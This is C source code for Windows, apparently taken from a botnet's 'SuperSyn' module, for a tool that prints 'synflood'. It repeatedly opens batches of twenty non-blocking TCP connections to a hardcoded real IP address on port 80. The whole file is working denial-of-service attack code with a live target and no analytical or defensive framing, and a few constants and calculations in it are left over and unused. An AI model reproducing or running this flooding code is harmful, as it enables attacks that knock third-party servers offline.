1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
| #include "stdafx.h"
#include <winsock2.h>
#pragma comment (lib,"ws2_32.lib")
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <Windows.h>
#define MAX_PACK_LEN 65535
#define SIO_RCALL 0x98000001
#define SUPERSYN_SOCKETS 20
#define SYN_DPORT 2000
#define SYN_XORVAL 0xFFFFFFFF
#define SYN_SPOOF_TEST 2001
#define SYN_SPOOF_GOOD 2002
typedef struct SUPERSYN {
SOCKET sock;
char *ip;
char *port;
char *length;
char chan[128];
int threadnum;
BOOL notice;
BOOL silent;
BOOL gotinfo;
void *conn;
char target[128];
} SUPERSYN;
DWORD WINAPI SuperSynThread(LPVOID param);
long SuperSynSend(unsigned long TargetIP, unsigned short TargetPort, int len);
long SuperSyn(char *target, char *port, char *len);
int _tmain (int argc, char *argv[]) {
printf("synflood");
DWORD id[10];
SUPERSYN syn;
syn.ip = (char *)"209.85.135.103";
syn.port = "80";
syn.length = "10";
CreateThread(NULL, 0, SuperSynThread, &syn, 0, &id[0]);
system("pause");
return 0;
}
DWORD WINAPI SuperSynThread(LPVOID param)
{
SUPERSYN supersyn = *((SUPERSYN *)param);
SUPERSYN *supersyns = (SUPERSYN *)param;
supersyns->gotinfo = TRUE;
printf(supersyn.ip);
printf(supersyn.port);
printf(supersyn.length);
SuperSyn(supersyn.ip, supersyn.port, supersyn.length);
ExitThread(0);
return 0;
}
long SuperSynSend(unsigned long TargetIP, unsigned short TargetPort, int len)
{
int superdelay = 100;
SOCKADDR_IN SockAddr;
SOCKET sock[SUPERSYN_SOCKETS];
IN_ADDR iaddr;
memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(TargetPort);
LPHOSTENT lpHostEntry = NULL;
DWORD mode = 1;
int c,i;
iaddr.s_addr = TargetIP;
SockAddr.sin_addr = iaddr; //ip addy
i = 0;
while (i < len) {
for (c=0;c<SUPERSYN_SOCKETS;c++)
{
sock[c] = socket(AF_INET, SOCK_STREAM, 0);
if (sock[c] == INVALID_SOCKET) {
printf("INVALID SOCKET");
continue;
}
ioctlsocket(sock[c],FIONBIO,&mode);
}
for (c=0;c<SUPERSYN_SOCKETS;c++) {
if (connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr)) != 0)
printf("Error");
else
printf("Sending!!!");
}
Sleep(superdelay);
for (c=0;c<SUPERSYN_SOCKETS;c++)
closesocket(sock[c]); //close sockets
i++;
}
return 0;
}
long SuperSyn(char *target, char *port, char *len)
{
unsigned long IP = inet_addr(target);
if (IP==INADDR_NONE) {
hostent *pHE = gethostbyname(target);
if (pHE == 0)
return INADDR_NONE;
IP = *((unsigned long *)pHE->h_addr_list[0]);
}
unsigned long TargetIP = IP;
unsigned short p = (unsigned short)atoi(port);
int t = atoi(len);
long num = SuperSynSend(TargetIP, p, t);
if (num == 0)
num = 1;
num = num / 1000 / t;
return num;
} |